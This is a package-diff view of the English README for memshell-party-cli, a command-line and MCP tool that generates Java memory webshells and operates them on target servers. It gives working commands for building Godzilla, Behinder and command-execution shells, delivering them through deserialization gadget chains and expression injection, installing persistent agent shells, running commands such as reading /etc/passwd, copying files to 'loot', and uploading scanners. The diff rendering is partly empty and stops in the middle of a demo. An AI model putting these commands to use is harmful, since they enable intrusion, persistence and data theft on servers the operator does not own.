memshell-party-cli 0.6.0 → 0.8.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.en.md +482 -425
- package/README.md +241 -419
- package/dist/cli.js +1192 -325
- package/dist/cli.js.map +1 -1
- package/dist/index.d.ts +128 -9
- package/dist/index.js +1293 -227
- package/dist/index.js.map +1 -1
- package/package.json +3 -1
- package/skills/memshell-party/SKILL.md +521 -475
package/README.en.md
CHANGED
|
@@ -1,425 +1,482 @@
|
|
|
1
|
-
# memshell-party-cli
|
|
2
|
-
|
|
3
|
-
English | [中文](README.md)
|
|
4
|
-
|
|
5
|
-
Command-line client **and** MCP server for [MemShellParty](https://party.mem.mk) — generate Java
|
|
6
|
-
memory shells and probe shells straight from your terminal (or from an AI agent), talking to the
|
|
7
|
-
same HTTP API that powers `party.mem.mk/ui`.
|
|
8
|
-
|
|
9
|
-
> ⚠️ For authorized security testing, red-team engagements, and research only. You are responsible
|
|
10
|
-
> for how you use it.
|
|
11
|
-
|
|
12
|
-
## Features
|
|
13
|
-
|
|
14
|
-
- **Interactive wizard** — run `memparty gen` with no flags and pick server / tool / type / packer
|
|
15
|
-
from live, API-driven menus.
|
|
16
|
-
- **Fully scriptable** — every option is also a flag, so generation is reproducible in CI or
|
|
17
|
-
scripts; with `--json` even errors come back as structured JSON (`{"ok":false,"error":...}`).
|
|
18
|
-
- **REPL** — bare `memparty` starts an interactive loop: many commands in one session,
|
|
19
|
-
with auto-saved target names ready to reuse.
|
|
20
|
-
- **MCP server** — `memparty mcp` exposes generation and config as tools for Claude and other MCP clients.
|
|
21
|
-
- **All endpoints** — memshell generate, probe generate, config listing, class-name parsing, version.
|
|
22
|
-
- **
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
- **
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
memparty>
|
|
69
|
-
|
|
70
|
-
memparty>
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
|
|
101
|
-
|
|
102
|
-
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
|
|
106
|
-
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
114
|
-
|
|
115
|
-
|
|
116
|
-
|
|
117
|
-
|
|
118
|
-
|
|
119
|
-
|
|
120
|
-
|
|
121
|
-
|
|
122
|
-
memparty
|
|
123
|
-
memparty
|
|
124
|
-
|
|
125
|
-
|
|
126
|
-
|
|
127
|
-
|
|
128
|
-
|
|
129
|
-
|
|
130
|
-
|
|
131
|
-
|
|
132
|
-
|
|
133
|
-
|
|
134
|
-
|
|
135
|
-
|
|
136
|
-
|
|
137
|
-
|
|
138
|
-
|
|
139
|
-
|
|
140
|
-
|
|
141
|
-
|
|
142
|
-
|
|
143
|
-
|
|
144
|
-
|
|
145
|
-
|
|
146
|
-
|
|
147
|
-
|
|
148
|
-
|
|
149
|
-
|
|
150
|
-
|
|
151
|
-
|
|
152
|
-
|
|
153
|
-
|
|
154
|
-
|
|
155
|
-
```bash
|
|
156
|
-
|
|
157
|
-
|
|
158
|
-
|
|
159
|
-
|
|
160
|
-
|
|
161
|
-
|
|
162
|
-
|
|
163
|
-
|
|
164
|
-
|
|
165
|
-
|
|
166
|
-
|
|
167
|
-
|
|
168
|
-
|
|
169
|
-
|
|
170
|
-
```bash
|
|
171
|
-
|
|
172
|
-
|
|
173
|
-
|
|
174
|
-
|
|
175
|
-
|
|
176
|
-
|
|
177
|
-
|
|
178
|
-
|
|
179
|
-
|
|
180
|
-
`
|
|
181
|
-
|
|
182
|
-
|
|
183
|
-
|
|
184
|
-
|
|
185
|
-
|
|
186
|
-
|
|
187
|
-
|
|
188
|
-
|
|
189
|
-
|
|
190
|
-
|
|
191
|
-
|
|
192
|
-
|
|
193
|
-
memparty
|
|
194
|
-
--
|
|
195
|
-
|
|
196
|
-
|
|
197
|
-
|
|
198
|
-
|
|
199
|
-
|
|
200
|
-
|
|
201
|
-
|
|
202
|
-
|
|
203
|
-
|
|
204
|
-
|
|
205
|
-
|
|
206
|
-
|
|
207
|
-
|
|
208
|
-
|
|
209
|
-
|
|
210
|
-
|
|
211
|
-
|
|
212
|
-
|
|
213
|
-
|
|
214
|
-
|
|
215
|
-
|
|
216
|
-
|
|
217
|
-
|
|
218
|
-
|
|
219
|
-
|
|
220
|
-
|
|
221
|
-
|
|
222
|
-
|
|
223
|
-
|
|
224
|
-
|
|
225
|
-
|
|
226
|
-
|
|
227
|
-
|
|
228
|
-
#
|
|
229
|
-
|
|
230
|
-
|
|
231
|
-
|
|
232
|
-
|
|
233
|
-
|
|
234
|
-
|
|
235
|
-
|
|
236
|
-
|
|
237
|
-
memparty
|
|
238
|
-
|
|
239
|
-
|
|
240
|
-
|
|
241
|
-
|
|
242
|
-
|
|
243
|
-
|
|
244
|
-
|
|
245
|
-
|
|
246
|
-
|
|
247
|
-
|
|
248
|
-
|
|
249
|
-
|
|
250
|
-
|
|
251
|
-
|
|
252
|
-
|
|
253
|
-
|
|
254
|
-
|
|
255
|
-
|
|
256
|
-
|
|
257
|
-
|
|
258
|
-
|
|
259
|
-
|
|
260
|
-
|
|
261
|
-
|
|
262
|
-
|
|
263
|
-
|
|
264
|
-
|
|
265
|
-
|
|
266
|
-
|
|
267
|
-
|
|
268
|
-
|
|
269
|
-
|
|
270
|
-
|
|
271
|
-
|
|
272
|
-
|
|
273
|
-
|
|
274
|
-
|
|
275
|
-
|
|
276
|
-
|
|
277
|
-
|
|
278
|
-
|
|
279
|
-
|
|
280
|
-
|
|
281
|
-
|
|
282
|
-
|
|
283
|
-
|
|
284
|
-
|
|
285
|
-
|
|
286
|
-
|
|
287
|
-
|
|
288
|
-
|
|
289
|
-
|
|
290
|
-
|
|
291
|
-
|
|
292
|
-
```
|
|
293
|
-
|
|
294
|
-
|
|
295
|
-
|
|
296
|
-
|
|
297
|
-
|
|
298
|
-
|
|
299
|
-
|
|
300
|
-
|
|
301
|
-
|
|
302
|
-
|
|
303
|
-
|
|
304
|
-
#
|
|
305
|
-
|
|
306
|
-
|
|
307
|
-
|
|
308
|
-
|
|
309
|
-
|
|
310
|
-
|
|
311
|
-
|
|
312
|
-
|
|
313
|
-
|
|
314
|
-
|
|
315
|
-
|
|
316
|
-
|
|
317
|
-
|
|
318
|
-
|
|
319
|
-
|
|
320
|
-
|
|
321
|
-
|
|
322
|
-
|
|
323
|
-
|
|
324
|
-
|
|
325
|
-
|
|
326
|
-
|
|
327
|
-
|
|
328
|
-
|
|
329
|
-
```
|
|
330
|
-
|
|
331
|
-
|
|
332
|
-
|
|
333
|
-
|
|
334
|
-
|
|
335
|
-
|
|
336
|
-
|
|
337
|
-
|
|
338
|
-
|
|
339
|
-
|
|
340
|
-
|
|
341
|
-
|
|
342
|
-
|
|
343
|
-
|
|
344
|
-
|
|
345
|
-
|
|
346
|
-
|
|
347
|
-
|
|
348
|
-
|
|
349
|
-
|
|
350
|
-
```
|
|
351
|
-
|
|
352
|
-
|
|
353
|
-
|
|
354
|
-
|
|
355
|
-
|
|
356
|
-
|
|
357
|
-
|
|
358
|
-
|
|
359
|
-
|
|
360
|
-
|
|
361
|
-
|
|
362
|
-
|
|
363
|
-
|
|
364
|
-
|
|
365
|
-
|
|
366
|
-
```
|
|
367
|
-
|
|
368
|
-
|
|
369
|
-
|
|
370
|
-
|
|
371
|
-
|
|
372
|
-
|
|
373
|
-
|
|
374
|
-
|
|
375
|
-
|
|
376
|
-
|
|
377
|
-
|
|
378
|
-
|
|
379
|
-
|
|
380
|
-
|
|
381
|
-
|
|
382
|
-
|
|
383
|
-
|
|
384
|
-
|
|
385
|
-
|
|
386
|
-
|
|
387
|
-
|
|
388
|
-
|
|
389
|
-
|
|
390
|
-
|
|
391
|
-
|
|
392
|
-
|
|
393
|
-
|
|
394
|
-
|
|
395
|
-
|
|
396
|
-
|
|
397
|
-
|
|
398
|
-
|
|
399
|
-
|
|
400
|
-
|
|
401
|
-
|
|
402
|
-
|
|
403
|
-
|
|
404
|
-
|
|
405
|
-
|
|
406
|
-
|
|
407
|
-
|
|
408
|
-
|
|
409
|
-
|
|
410
|
-
|
|
411
|
-
|
|
412
|
-
|
|
413
|
-
|
|
414
|
-
|
|
415
|
-
|
|
416
|
-
|
|
417
|
-
|
|
418
|
-
|
|
419
|
-
|
|
420
|
-
|
|
421
|
-
|
|
422
|
-
|
|
423
|
-
|
|
424
|
-
|
|
425
|
-
|
|
1
|
+
# memshell-party-cli
|
|
2
|
+
|
|
3
|
+
English | [中文](README.md)
|
|
4
|
+
|
|
5
|
+
Command-line client **and** MCP server for [MemShellParty](https://party.mem.mk) — generate Java
|
|
6
|
+
memory shells and probe shells straight from your terminal (or from an AI agent), talking to the
|
|
7
|
+
same HTTP API that powers `party.mem.mk/ui`.
|
|
8
|
+
|
|
9
|
+
> ⚠️ For authorized security testing, red-team engagements, and research only. You are responsible
|
|
10
|
+
> for how you use it.
|
|
11
|
+
|
|
12
|
+
## Features
|
|
13
|
+
|
|
14
|
+
- **Interactive wizard** — run `memparty gen` with no flags and pick server / tool / type / packer
|
|
15
|
+
from live, API-driven menus.
|
|
16
|
+
- **Fully scriptable** — every option is also a flag, so generation is reproducible in CI or
|
|
17
|
+
scripts; with `--json` even errors come back as structured JSON (`{"ok":false,"error":...}`).
|
|
18
|
+
- **REPL** — bare `memparty` starts an interactive loop: many commands in one session,
|
|
19
|
+
with auto-saved target names ready to reuse.
|
|
20
|
+
- **MCP server** — `memparty mcp` exposes generation and config as tools for Claude and other MCP clients.
|
|
21
|
+
- **All endpoints** — memshell generate, probe generate, config listing, class-name parsing, version.
|
|
22
|
+
- **Bytecode tools** — decode, rename, relocate, instrument, obfuscate and pack arbitrary `.class` files.
|
|
23
|
+
- **Connection testing** — `memparty connect` verifies a deployed Godzilla / Behinder / suo5 shell
|
|
24
|
+
is alive and the credentials work (echo/handshake round-trip).
|
|
25
|
+
- **Command execution** — `memparty exec` runs a command on a deployed Godzilla / Behinder shell
|
|
26
|
+
and prints its output (real `execCommand` / `Cmd` payload round-trip).
|
|
27
|
+
- **File transfer** — `memparty upload` / `memparty download` move files through Godzilla /
|
|
28
|
+
Behinder shells, chunked with integrity checks (remote size for Godzilla, MD5 for Behinder).
|
|
29
|
+
- **Named targets** — `memparty save` stores shells in projects (with remark + category),
|
|
30
|
+
then `memparty exec web1/bh9060 --cmd "whoami"` needs no flags at all.
|
|
31
|
+
- **Operation log** — every gen/probe/connect/exec/download/upload/save/note/remove operation is appended to
|
|
32
|
+
`~/.memparty/operations.jsonl`; `memparty log` queries it by category and target.
|
|
33
|
+
- **Flexible output** — payload to stdout by default, or `-o file` (auto base64-decodes `.class`/`.jar`).
|
|
34
|
+
- **Any backend** — defaults to the public site, override to your self-hosted instance.
|
|
35
|
+
- **Site-mimicking (mimic)** — hand-write a site profile, build a custom shell that blends into real business traffic (`profile` / `custom build` / `demo`), and install the agent skill with `memparty skill install`.
|
|
36
|
+
|
|
37
|
+
## Install
|
|
38
|
+
|
|
39
|
+
```bash
|
|
40
|
+
npm install -g memshell-party-cli
|
|
41
|
+
# or run without installing:
|
|
42
|
+
npx memshell-party-cli gen
|
|
43
|
+
```
|
|
44
|
+
|
|
45
|
+
Requires Node.js >= 18.
|
|
46
|
+
|
|
47
|
+
## Choosing the backend
|
|
48
|
+
|
|
49
|
+
By priority: `--api` flag → `MEMPARTY_API_URL` env var → `~/.mempartyrc` (`{"apiUrl": "..."}`) →
|
|
50
|
+
default `https://party.mem.mk`.
|
|
51
|
+
|
|
52
|
+
Self-hosting is recommended (see the MemShellParty README for the Docker one-liner):
|
|
53
|
+
|
|
54
|
+
```bash
|
|
55
|
+
memparty --api http://127.0.0.1:8080 gen
|
|
56
|
+
# or
|
|
57
|
+
export MEMPARTY_API_URL=http://127.0.0.1:8080
|
|
58
|
+
```
|
|
59
|
+
|
|
60
|
+
## Usage
|
|
61
|
+
|
|
62
|
+
### Interactive
|
|
63
|
+
|
|
64
|
+
Bare `memparty` starts a REPL: run any subcommand repeatedly in one process — combined with
|
|
65
|
+
auto-saved named targets, a whole gen → verify → exec session fits in one go:
|
|
66
|
+
|
|
67
|
+
```text
|
|
68
|
+
memparty> connect -u http://192.0.2.10/shell.jsp -t behinder --header-value my-secret-token
|
|
69
|
+
saved as '192.0.2.10/behinder'
|
|
70
|
+
memparty> exec 192.0.2.10/behinder --cmd whoami
|
|
71
|
+
memparty> list
|
|
72
|
+
memparty> exit
|
|
73
|
+
```
|
|
74
|
+
|
|
75
|
+
Passing arguments behaves exactly as before (piped/CI bare `memparty` still prints help).
|
|
76
|
+
Inside the REPL: `help` lists commands, `<command> --help` shows examples, `exit`/`quit` leaves.
|
|
77
|
+
The `gen` / `probe` wizards work inside the REPL too:
|
|
78
|
+
|
|
79
|
+
```bash
|
|
80
|
+
memparty gen # wizard for a memory shell (outside the REPL)
|
|
81
|
+
memparty probe # wizard for a probe shell
|
|
82
|
+
```
|
|
83
|
+
|
|
84
|
+
The wizard launches automatically when required flags are missing and you're in a terminal.
|
|
85
|
+
Force it anytime with `-i`, or disable it with `--no-interactive`.
|
|
86
|
+
|
|
87
|
+
### Scripted generation
|
|
88
|
+
|
|
89
|
+
```bash
|
|
90
|
+
# Godzilla listener for Tomcat, single Base64 payload to stdout
|
|
91
|
+
memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
|
|
92
|
+
--godzilla-pass pass --godzilla-key key --jdk java8
|
|
93
|
+
|
|
94
|
+
# Write a decoded .class file (base64 decoding is automatic for .class/.jar)
|
|
95
|
+
memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
|
|
96
|
+
--godzilla-pass pass --godzilla-key key -o shell.class
|
|
97
|
+
|
|
98
|
+
# Command shell with an explicit encryptor
|
|
99
|
+
memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \
|
|
100
|
+
--command-param-name cmd --encryptor RAW --implementation-class RuntimeExec
|
|
101
|
+
|
|
102
|
+
# Full JSON response (metadata + payload) for further processing
|
|
103
|
+
memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 --json
|
|
104
|
+
|
|
105
|
+
# Both at once: file written AND full JSON (gains an outputFile field)
|
|
106
|
+
memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
|
|
107
|
+
--godzilla-pass pass --godzilla-key key -o shell.class --json
|
|
108
|
+
```
|
|
109
|
+
|
|
110
|
+
`--jdk` accepts `java6/8/9/11/17/21/25`, a bare number (`8`), or a raw class-file major version (`52`).
|
|
111
|
+
|
|
112
|
+
On v3, parent packers (e.g. `Base64`) are categories, not aggregate generators: pick a concrete
|
|
113
|
+
variant such as `DefaultBase64`. Legacy v2 aggregate results are still supported, but `-o` refuses
|
|
114
|
+
multiple variants. Combining `-o` with `--json` writes the file and adds
|
|
115
|
+
`outputFile: {destination, size, decoded}` to the JSON document. v3 also supports `--obfuscate`,
|
|
116
|
+
`--obfuscation-options key=value,...`, and `--obfuscation-scope` (memshell only).
|
|
117
|
+
|
|
118
|
+
### Discovering options
|
|
119
|
+
|
|
120
|
+
```bash
|
|
121
|
+
memparty config servers # servers and their shell types
|
|
122
|
+
memparty config tools Tomcat # tools + types for one server
|
|
123
|
+
memparty config packers # packer parent/child tree
|
|
124
|
+
memparty config command # Command encryptors & implementation classes
|
|
125
|
+
memparty config tool-configs # v3 tool parameters and enum options
|
|
126
|
+
memparty config obfuscation # v3 obfuscation option reference
|
|
127
|
+
memparty config servers --json # machine-readable
|
|
128
|
+
```
|
|
129
|
+
|
|
130
|
+
### Probe shells
|
|
131
|
+
|
|
132
|
+
```bash
|
|
133
|
+
memparty probe -m ResponseBody -c Command -p DefaultBase64 --server Tomcat --req-param-name cmd
|
|
134
|
+
memparty probe -m ResponseHeader -c Server -p DefaultBase64 --server Unknown
|
|
135
|
+
memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
|
|
136
|
+
```
|
|
137
|
+
|
|
138
|
+
Probe method × content matrix (only these combos are supported by the backend):
|
|
139
|
+
|
|
140
|
+
| Method `-m` | Supported content `-c` |
|
|
141
|
+
|-------------|-------------------------|
|
|
142
|
+
| `DNSLog` | `Server`, `JDK` |
|
|
143
|
+
| `Sleep` | `Server` |
|
|
144
|
+
| `ResponseBody`, `ResponseHeader` | `Server`, `Command`, `Bytecode`, `Filter`, `ScriptEngine` |
|
|
145
|
+
|
|
146
|
+
`ResponseHeader` is v3+. Use `--resp-header-name` to set the response header; `--server Unknown`
|
|
147
|
+
discovers the middleware and requires `--req-param-name` to identify the live request.
|
|
148
|
+
|
|
149
|
+
### Testing a deployed shell
|
|
150
|
+
|
|
151
|
+
`memparty connect` checks whether a shell that is already injected/uploaded actually answers —
|
|
152
|
+
it performs the real protocol handshake (Behinder echo, Godzilla payload + `test()` call, suo5
|
|
153
|
+
tunnel handshake) and exits 0 on success, 1 on failure.
|
|
154
|
+
|
|
155
|
+
```bash
|
|
156
|
+
# Godzilla (defaults: --pass pass --key key)
|
|
157
|
+
memparty connect -u http://target/shell.jsp -t godzilla --pass pass --key key
|
|
158
|
+
|
|
159
|
+
# Behinder (default: --pass rebeyond)
|
|
160
|
+
memparty connect -u http://target/shell.jsp -t behinder --pass rebeyond
|
|
161
|
+
|
|
162
|
+
# suo5 (auto-detects the v2 handshake vs the legacy v1 echo; force with --suo5-mode v2|v1)
|
|
163
|
+
memparty connect -u http://target/suo5.jsp -t suo5
|
|
164
|
+
```
|
|
165
|
+
|
|
166
|
+
Shells generated by MemShellParty are gated by an auth header — the values are in the
|
|
167
|
+
`gen --json` output as `shellToolConfig.headerName` / `headerValue` and **must** be passed along
|
|
168
|
+
(the Suo5 shell checks it too):
|
|
169
|
+
|
|
170
|
+
```bash
|
|
171
|
+
memparty connect -u http://target/x -t godzilla --pass pass --key key \
|
|
172
|
+
--header-name User-Agent --header-value my-secret-token
|
|
173
|
+
```
|
|
174
|
+
|
|
175
|
+
Other flags: `-H "Name: value"` for extra headers, `-k/--insecure` for self-signed TLS,
|
|
176
|
+
`--json` for machine-readable output, `--timeout <ms>` (global option).
|
|
177
|
+
|
|
178
|
+
Use `ws://` / `wss://` for Godzilla WebSocket and RawWebSocket shells. Tomcat Upgrade keeps an
|
|
179
|
+
HTTP URL and requires `--upgrade-protocol <fully-qualified-shell-class-name>`; it is saved with
|
|
180
|
+
named targets. Generate `GodzillaSession` with its own tool name, then connect with `-t godzilla`;
|
|
181
|
+
the client relays the HTTP session cookie.
|
|
182
|
+
|
|
183
|
+
### Agent arguments and bytecode tools
|
|
184
|
+
|
|
185
|
+
`--agent-args persist=true` and `--agent-args restore=true` are load-time Agent arguments, not
|
|
186
|
+
generation DTO fields. The CLI and MCP return both `java -jar agent.jar <pid> persist=true` and
|
|
187
|
+
`jattach <pid> load instrument false agent.jar=persist=true` examples; use `restore=true` to restore.
|
|
188
|
+
|
|
189
|
+
```bash
|
|
190
|
+
memparty bytecode decode -f Payload.class
|
|
191
|
+
memparty bytecode transform -f Payload.class \
|
|
192
|
+
--relocate-from javax.servlet --relocate-to jakarta.servlet -o JakartaPayload.class
|
|
193
|
+
memparty bytecode transform -f Payload.class --server Tomcat \
|
|
194
|
+
--probe-method ResponseHeader -p DefaultBase64 -o Probe.class --json
|
|
195
|
+
```
|
|
196
|
+
|
|
197
|
+
Input can also be a Base64 argument or stdin. With no packer, `-o` writes the transformed class;
|
|
198
|
+
otherwise it writes the packed result. The MCP equivalents are `bytecode_decode` and `bytecode_transform`.
|
|
199
|
+
|
|
200
|
+
### Executing commands on a deployed shell
|
|
201
|
+
|
|
202
|
+
`memparty exec` runs a command line through a deployed Godzilla / Behinder shell and prints the
|
|
203
|
+
remote stdout+stderr. It uses the tool's real protocol — Godzilla's `execCommand` payload method
|
|
204
|
+
(argv passed as `arg-0..N`, wrapped in `cmd.exe /c` or `/bin/sh -c`) and Behinder's `Cmd` payload
|
|
205
|
+
class (which picks the shell itself based on the remote `os.name`).
|
|
206
|
+
|
|
207
|
+
```bash
|
|
208
|
+
# Godzilla — auto-detects the remote OS via getBasicsInfo (one extra request);
|
|
209
|
+
# pass --os windows|linux to skip the detection
|
|
210
|
+
memparty exec -u http://target/shell.jsp -t godzilla --pass pass --key key --cmd "whoami"
|
|
211
|
+
|
|
212
|
+
# Behinder — the payload detects the OS itself, no extra request
|
|
213
|
+
memparty exec -u http://target/shell.jsp -t behinder --pass rebeyond --cmd "cat /etc/passwd"
|
|
214
|
+
```
|
|
215
|
+
|
|
216
|
+
The gate-header flags are the same as for `connect`; `--json` returns
|
|
217
|
+
`{ ok, tool, url, command, output, durationMs }` for automation.
|
|
218
|
+
|
|
219
|
+
### File upload / download
|
|
220
|
+
|
|
221
|
+
`memparty upload` / `memparty download` transfer files through a deployed Godzilla / Behinder
|
|
222
|
+
shell, using the tool's real protocol (Godzilla's `uploadFile`/`bigFileUpload`/`bigFileDownload`
|
|
223
|
+
payload methods; Behinder's `FileOperation` payload class via create+append / downloadPart).
|
|
224
|
+
Large files are chunked automatically. Integrity is verified after transfer — the remote size
|
|
225
|
+
for Godzilla, the remote MD5 for Behinder — a failed check is an error, not a silent bad file.
|
|
226
|
+
|
|
227
|
+
```bash
|
|
228
|
+
# download: defaults to ./<remote basename>; -o sets the destination
|
|
229
|
+
# (an existing directory keeps the remote basename)
|
|
230
|
+
memparty download -u http://target/shell.jsp -t godzilla --pass pass --key key \
|
|
231
|
+
--header-value my-secret-token /etc/passwd -o loot/passwd
|
|
232
|
+
|
|
233
|
+
# an existing local file is never overwritten unless --force is given
|
|
234
|
+
memparty download web1 /var/log/app.log --force
|
|
235
|
+
|
|
236
|
+
# upload: overwrites the remote file (truncate + write), up to 64 MiB
|
|
237
|
+
memparty upload web1/bh9060 ./fscan.exe "C:\Windows\Temp\f.exe"
|
|
238
|
+
```
|
|
239
|
+
|
|
240
|
+
Failure semantics are explicit: missing remote file, bad credentials, or an exhausted chunk
|
|
241
|
+
retry all exit 1 with a clear message; an aborted upload warns that the remote file may be
|
|
242
|
+
partial. `--json` returns `{ ok, tool, url, direction, remotePath, localPath, bytes, durationMs }`.
|
|
243
|
+
|
|
244
|
+
Non-ASCII paths: always fine on Behinder (paths travel inside the class constant pool, so the
|
|
245
|
+
platform charset is irrelevant). Godzilla's payload decodes path parameters with the server's
|
|
246
|
+
platform default charset — UTF-8 on JDK 18+ and virtually all Linux, so nothing is needed; on an
|
|
247
|
+
old JDK (8/11/17) on Chinese Windows the default is GBK — pass `--remote-charset GBK` (MCP:
|
|
248
|
+
`remoteCharset`) for non-ASCII paths there. On Behinder, files over 128 MiB are verified by size
|
|
249
|
+
instead of MD5 (the payload's check reads the whole file byte-by-byte). Limits: 2 GiB for
|
|
250
|
+
Godzilla (a payload int restriction), 64 MiB for Behinder upload, 2 GiB for Behinder download.
|
|
251
|
+
|
|
252
|
+
### Saved targets (projects)
|
|
253
|
+
|
|
254
|
+
Save a shell once, then reference it by name — no more flag soup. Shells live inside
|
|
255
|
+
**projects**: a project groups several shells of one engagement and carries an optional
|
|
256
|
+
`--remark` and `--category`. The store is `~/.memparty/targets.json`.
|
|
257
|
+
|
|
258
|
+
```bash
|
|
259
|
+
# save (project is created on the fly; --remark/--category are project-level,
|
|
260
|
+
# --shell-remark describes this one shell)
|
|
261
|
+
memparty save web1/bh9060 -u http://192.0.2.10:9060/console/service \
|
|
262
|
+
-t behinder --pass rebeyond --header-name User-Agent --header-value my-secret-token \
|
|
263
|
+
--remark "内网测试环境 WebSphere" --category test --shell-remark "root 权限"
|
|
264
|
+
|
|
265
|
+
# list everything (filter with --category <name>)
|
|
266
|
+
memparty list
|
|
267
|
+
|
|
268
|
+
# use: <project>/<shell>, or a bare project name when it holds exactly one shell
|
|
269
|
+
memparty connect web1/bh9060
|
|
270
|
+
memparty exec web1 --cmd "whoami"
|
|
271
|
+
|
|
272
|
+
# edit project meta or a shell's remark / clean up
|
|
273
|
+
memparty note web1 --remark "new remark" --category prod
|
|
274
|
+
memparty note web1/bh9060 --remark "new shell note"
|
|
275
|
+
memparty remove web1/bh9060 # one shell
|
|
276
|
+
memparty remove web1 # the whole project
|
|
277
|
+
```
|
|
278
|
+
|
|
279
|
+
Explicit flags still override stored values (`memparty exec web1 --cmd id --pass otherpass`).
|
|
280
|
+
|
|
281
|
+
### Operation log
|
|
282
|
+
|
|
283
|
+
Every operation (gen, probe, connect, exec, download, upload, save/note/remove) is appended as
|
|
284
|
+
one JSON line to `~/.memparty/operations.jsonl` — target, outcome, duration, and for exec the
|
|
285
|
+
command plus truncated output. Credentials, payload bytes, and file contents are never logged.
|
|
286
|
+
|
|
287
|
+
```bash
|
|
288
|
+
memparty log # latest 50 operations, newest first
|
|
289
|
+
memparty log --category exec # only command executions
|
|
290
|
+
memparty log --target web1 # everything against one project (or a host substring)
|
|
291
|
+
memparty log --category connect --json
|
|
292
|
+
```
|
|
293
|
+
|
|
294
|
+
## Demos
|
|
295
|
+
|
|
296
|
+
End-to-end recipes. Pick the **packer** to match your delivery vector, and the **shell type** to
|
|
297
|
+
match the target (add the `Jakarta` prefix for Tomcat 10+ / Spring Boot 3; use `Agent*` types with
|
|
298
|
+
the `AgentJar*` packers). When in doubt, run `memparty config tools <server>` and
|
|
299
|
+
`memparty config packers` first.
|
|
300
|
+
|
|
301
|
+
### 1. Godzilla webshell on Tomcat 9 (javax)
|
|
302
|
+
|
|
303
|
+
```bash
|
|
304
|
+
# Listener-based Godzilla shell, single base64 payload to stdout
|
|
305
|
+
memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
|
|
306
|
+
--godzilla-pass pass --godzilla-key key --jdk java8
|
|
307
|
+
|
|
308
|
+
# ...or write the decoded injector .class straight to disk
|
|
309
|
+
memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
|
|
310
|
+
--godzilla-pass pass --godzilla-key key -o shell.class
|
|
311
|
+
```
|
|
312
|
+
|
|
313
|
+
### 2. Same shell on Tomcat 10+ / Spring Boot 3 (Jakarta)
|
|
314
|
+
|
|
315
|
+
```bash
|
|
316
|
+
memparty gen -s Tomcat -t Godzilla -y JakartaListener -p DefaultBase64 \
|
|
317
|
+
--godzilla-pass pass --godzilla-key key --jdk java17
|
|
318
|
+
```
|
|
319
|
+
|
|
320
|
+
### 3. Pure command-execution shell (RCE)
|
|
321
|
+
|
|
322
|
+
```bash
|
|
323
|
+
memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \
|
|
324
|
+
--command-param-name cmd --encryptor RAW --implementation-class RuntimeExec --jdk java8
|
|
325
|
+
```
|
|
326
|
+
|
|
327
|
+
### 4. Deserialization gadget chain (e.g. CommonsBeanutils ≤ 1.9.4)
|
|
328
|
+
|
|
329
|
+
```bash
|
|
330
|
+
memparty gen -s Tomcat -t Godzilla -y Listener -p JavaCommonsBeanutils19 \
|
|
331
|
+
--godzilla-pass pass --godzilla-key key --jdk java8
|
|
332
|
+
# other chains: JavaCommonsBeanutils18/17/16/110, JavaCommonsCollections3/4
|
|
333
|
+
```
|
|
334
|
+
|
|
335
|
+
### 5. Expression-injection delivery (SpEL / OGNL / EL / Groovy …)
|
|
336
|
+
|
|
337
|
+
```bash
|
|
338
|
+
# Spring SpEL injection -> define + load the shell class (Spring uses Interceptor, not Filter)
|
|
339
|
+
memparty gen -s SpringWebMvc -t Command -y Interceptor -p SpELScriptEngine \
|
|
340
|
+
--command-param-name cmd --jdk java8
|
|
341
|
+
# OGNL (Struts2), EL, MVEL, Aviator, JEXL, JXPath, Groovy, Velocity, Freemarker, JinJava ...
|
|
342
|
+
# On v3, SpEL/OGNL/JXPath are categories; choose a concrete child packer.
|
|
343
|
+
```
|
|
344
|
+
|
|
345
|
+
### 6. Drop a JSP file
|
|
346
|
+
|
|
347
|
+
```bash
|
|
348
|
+
memparty gen -s Tomcat -t Godzilla -y Listener -p DefineClassJSP \
|
|
349
|
+
--godzilla-pass pass --godzilla-key key --jdk java8 -o shell.jsp
|
|
350
|
+
```
|
|
351
|
+
|
|
352
|
+
### 7. Java-agent memory shell (survives redeploys, hooks deep)
|
|
353
|
+
|
|
354
|
+
```bash
|
|
355
|
+
memparty gen -s Tomcat -t Godzilla -y AgentFilterChain -p AgentJar \
|
|
356
|
+
